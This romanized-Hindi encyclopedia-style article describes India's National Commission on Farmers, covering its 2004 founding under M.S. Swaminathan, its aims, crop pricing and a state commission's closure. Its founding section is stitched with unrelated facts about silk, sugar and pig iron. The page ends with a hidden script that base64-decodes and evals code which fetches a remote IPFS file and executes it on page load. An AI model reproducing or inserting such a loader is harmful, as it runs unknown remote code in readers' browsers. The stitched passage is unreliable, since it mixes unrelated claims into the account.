राष्ट्रीय किसान आयोग

rashtriy kisan ayog ka gathan 2004 mean em.es .svaminathan ki adhyakshata mean kiya gaya tha. isaka mukhyalay nee dilli mean sthapit kiya gaya hai. kisan ayog apane anusar paidavar ki lagat tay karata hai phir usake adhar par munapha nirdharan karata hai. is samay kisanoan ki lagat aankane ke jo tarike haian unamean jamin ka kiraya, bij se lekar upaj tak ke kharch tatha parivar ke shram ka mota- mota akalan kiya jata hai, jisamean munapha hota hi nahian hai. halaanki kisanoan ki paidavar ke mooly jitane badhate haian, khadyann mahangaee bhi usi tulana mean badhati hai.

sthapana

1956 mean sansad mean ek adhiniyam pas karake khadi evan gramodyog ayog ki sthapana ki gayi thi. chini udyog mean takaniki kushalata ke sudhar hetu iandiyan ianstityoot aauf shugar teknol aauji ki sthapana kanapur mean ki gayi hai. chin ke bad bharat vishv mean prakritik resham ka doosara b da utpadak rashtr hai. bharat mean pratham resham utpadak rajy karnatak hai. hirapur mean pig ayaran ka utpadan hota hai, jise stil ke utpadan hetu kulti bheja jata hai . bharat mean kisan kredit kard yojana ka praranbh 1998 -1999 mean kiya gaya tha. rashtriy kisan ayog ka gathan 2004 mean em.es. svaminathan ki adhyakshata mean kiya gaya tha. rashtriy kisan ayog ka mukhyalay nee dilli mean hai.

lakshy

rashtriy kisan ayog ka lakshy yah ki sabase pahale kheti ko kaise labh ka pesha banaya jae tatha padhe-likhe log bhi isamean aean is par use dhyan keandrit karana hoga. doosare, kisanoan ka jivan-star ooancha uthe, unake parivar ko kheti se kaise vyavasthit jivan jine ka adhar mile. kul milakar kheti ko vikasit karane ki nitiyoan, karyakramoan, upayoan ki disha meanan vah kisanoan ke sath milakar aur sarakaroan ke sath samanjasy sthapit karake kam kare. rashtriy kisan ayog krishi kshetr mean kraantikari parivartan ka vahak bane. rashtriy kisan ayog krishi lagat mooly nirdharan tatha kisanoan ki paidavar ka mooly tay karata hai. kheti ko rajyoan ka vishay bana die jane ke karan vaise bhi jyada jimmevari rajyoan ki a jati hai. vastav mean kheti aur kisanoan ki samasyaoan aur avashyakataoan par samagrata mean vichar karane ke lie kisi dhaanchagat sanstha ke n hone se b di shochaniy sthiti paida huee hai. kisan ayog usamean ummid ki kiran banakar a sakata hai.

arthavyavastha

kheti ka yogadan hamari samoochi arthavyavastha mean bhale chaudah-pandrah pratishat rah gaya hai, lekin hamari abadi ke sath pratishat se jyada logoan ka jivan usi par nirbhar hai. chahe ve sidhe kheti karate hoan ya kheti se ju di any gatividhiyoan mean lage hoan. bharatiy arthavyavastha ko isilie to asantulit arthavyavastha kahate haian jisamean udyog tatha seva kshetr ka yogadan pachasi pratishat ke asapas hai lekin is par nirbhar rahane valoan ki sankhya chalis pratishat se kam hogi. usamean bhi seva kshetr mean aise anek kary haian jinaka ju dav apako kheti ya usase sanbandhit gatividhiyoan se mil jaega. seva ke anek kshetr donoan se bhi ju de haian. agar bharat ki arthavyavastha ko santulit karana hai to phir kheti ko prathamikata mean lana hoga aur jo kam pahale n ho saka ya aranbh karake phir rok diya gaya un sabako vartaman pariprekshy mean karane ya phir se aranbh karane ki avashyakata hai. rashtriy kisan ayog unamean sarvapramukh mana ja sakata hai.

rashtriy kisan vikas ayog

kisan sangathanoan ne jo prastav desh ke samane rakha tha usamean kaha gaya tha ki kheti-ba di ko phayademand banane tatha yuvaoan ko is kshetr mean akarshit karane ke lie rashtriy kisan vikas ayog banaya jana chahie. ayog akeli sanstha ho jisamean sari any sanbandhit sansthaoan ko samahit kar diya jae. masalan, krishi lagat aur mooly ayog tatha laghu krishak krishi vyapar sangh ka isamean ya to vilay kar diya jae ya phir unake matahat bana diya jae. karan, ye donoan sansthaean kisanoan ki paidavar ke lagat mooly ke moolyaankan tatha uchit mooly dilavane mean saphal nahian rahi haian. yah bhi kahana uchit hoga ki desh ke sabhi kisan sangathanoan ko milakar pradhanamantri ki adhyakshata mean ‘bharatiy krishak parisangh’ ka bhi gathan kiya jae jisamean sabhi rajyoan ke mukhyamantri aur krishimantri rahean. koee bhi svikar karega ki isase krishi kshetr ke samanvit vikas ko gati mil sakegi. dhyan rakhie, bhajapa ne apane ghoshana patr mean vayada kiya hua hai ki vah em. es. svaminathan ayog ki sipharishoan ke anuroop kisan ko krishi upaj ki lagat par pachas pratishat labh dilana sunishchit karegi.

bhoomika

kisanoan ko unaki upaj ke lie nyoonatam samarthan mooly hi milata hai. labh ya munapha shabd ka kahian prayog nahian hai. yahian kisan ayog ki bhoomika shuroo hoti hai. vah apane anusar paidavar ki lagat tay karega phir usake adhar par munapha ka nirdharan kar sake. is samay kisanoan ki lagat aankane ke jo tarike haian unamean jamin ka kiraya, bij se lekar upaj tak ke kharch tatha parivar ke shram ka bhi ek moti-moti akalan kiya jata hai, jisamean munapha hota hi nahian. halaanki kisanoan ki paidavar ke mooly jitane badhate haian, khadyann mahangaee bhi usi tulana mean badhati hai jo ki sarakaroan ke lie siradard bhi sabit hoti hai. magar is mahangaee ki kimat kisanoan ki jeb mean nahian jati, yah bhi sach hai. kam se kam ayog is bat ka to khyal rakhega ki jo mooly bazar mean haian unaka uchit anupatik hissa kisanoan ko mile. lekin jaisa ki oopar kaha gaya hai, kisan ayog ka kary keval mooly tay karana nahian hoga. yah usake kary ka ek pramukh hissa avashy hoga.

krishi utpadan

akhir krishi utpadanoan ke bazar ka niyaman rajy sarakaroan ke pas hai aur isake lie har rajy ka ek krishi utpad vipanan samiti kanoon (epiemasi ekt) hai. koee bhi rajy sarakar isamean badalav lakar sangathit vyapariyoan ki narajagi mol lena nahian chahati. kam se kam ayog to aise dabavoan se mukt hokar kam kar sakega. bharatiy kheti is samay ek sath kee sankatoan aur chunautiyoan ka samana kar rahi hai. paranparagat kheti ke tarike dhvast kar die jane se jo krishi apane-ap mean svavalanbi thi vah aj poori tarah paravalanbi ho gee hai. bij tak ke lie kisan b di kanpaniyoan par nirbhar haian. urvarak to khair unake hath mean tha hi nahian. inake mooly kanpaniyaan tay karati haian. agar kisan ayog hoga to is par adhyayan karake usake anusar jo kadam usake dayare mean hoga vah uthaega aur jo keandr aur rajy sarakaroan ke bas mean hoga usake lie sipharishean karega. yahaan poorv mean kisan ayogoan ke anubhavoan ka bhi dhyan rakhana hoga. kee rajyoan mean pahale kisan ayog bane, par ve band kar diye ge. udaharan ke lie madhyapradesh ko lijie. 19 sitanbar 2006 ko ayog ka gathan kiya gaya tha, lekin 31 disanbar 2010 ko hi band kar diya gaya. kyoanki yah keval sipharishi sanstha ban kar rah gee thi. bharatiy kisan sangh ne maang ki ki ise sanvaidhanik darja diya jae ya ise band kar diya jae. sarakar ne sanvaidhanik darja dene yani adhikar sanpann banane ki jagah ise band kar diya. pradesh mean ayog ne apane char varsh tin mah ke karyakal mean sat prativedan rajy sarakar ko sauanpe. inamean 811 anushansaean ki garhian, jinamean kuchh par hi kam hue. vastut: kisan ayog keval sipharishi sanstha hoga to usase jyada-kuchh hasil nahian ho sakata. use shaktiyaan bhi deni hoangi, anyatha isaki bhoomika karyashala ayojit karane, bhashan karane-karavane, kisanoan se sanvad karane tatha sujhav dene tak simit rah jaegi.

ayog ki riport

rashtriy kisan ayog ki riport mean spasht hai ki samarthan mooly kheti ki lagat se kam hota hai, is karan kheti ghate ka sauda ban gee hai aur desh ke 40 pratishat kisan ab kheti chho dane ko badhy ho rahe haian. gauratalab hai ki 1925 mean 10 gram sone ka mooly 18 rupe aur ek kviantal gehooan 16 rupe ka hota tha. 1960 mean 10 gram sona 111 rupe aur ek kviantal gehooan 41 rupe ka tha. vartaman mean 10 gram sone 32000 rupe ka aur ek kviantal gehooan 1285 ka hai. 1965 mean keandr sarakar ke pratham shreni adhikari ke ek mah ke vetan mansh chhah kviantal gehooan kharida ja sakata tha, aj usake ek mah ke vetan mean 30 kviantal gehooan kharida ja sakata hai. yah aank de pramanit karate haian ki sarakar kisan ke shram-mooly ki ganana anyayapoorn tarike se karake samarthan mooly ghoshit karati hai, jo desh ki lagabhag 60 phisadi abadi ke samman se jine ke aur samanata ke maulik adhikaroan ka hanan hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>